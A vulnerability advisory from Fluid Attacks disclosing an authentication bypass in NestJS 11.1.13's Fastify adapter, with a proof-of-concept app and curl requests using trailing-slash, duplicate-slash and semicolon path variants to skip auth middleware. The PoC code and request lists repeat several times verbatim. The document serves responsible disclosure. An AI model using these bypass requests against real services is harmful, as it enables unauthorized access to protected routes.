NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

8.2

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

Code name

State

Public

Release date

Feb 27, 2026

Affected product

nest.js

Vendor

nest.js

Affected version(s)

11.1.13

Fixed version(s)

11.1.14

Package manager

npm

Vulnerability name

Lack of data validation

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

Yes

CVE ID(s)

Description

A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.

Vulnerability

The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.

  1. Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, and useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.

  2. But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.

  3. If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.

This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.

PoC

  • Use the following code for the PoC

import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
  • Send baseline request (should be blocked)

    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
  • Send variant paths (bypass)

    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
  • Control request with an auth header

    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    

Evidence of Exploitation

  • Unauthorized

  • Bypass

  • PoC

Our security policy

We have reserved the ID CVE-2026-2293 to refer to this issue from now on.

Disclosure policy

System Information

  • NestJS

  • Version 11.1.13

  • Operating System: Any

References

Mitigation

An updated version of Nest.js is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

Feb 9, 2026

Vulnerability discovered

Feb 10, 2026

Vendor contacted

Feb 16, 2026

Vendor replied

Feb 17, 2026

Vendor confirmed

Feb 17, 2026

Vulnerability patched

Feb 27, 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.

Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.

Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.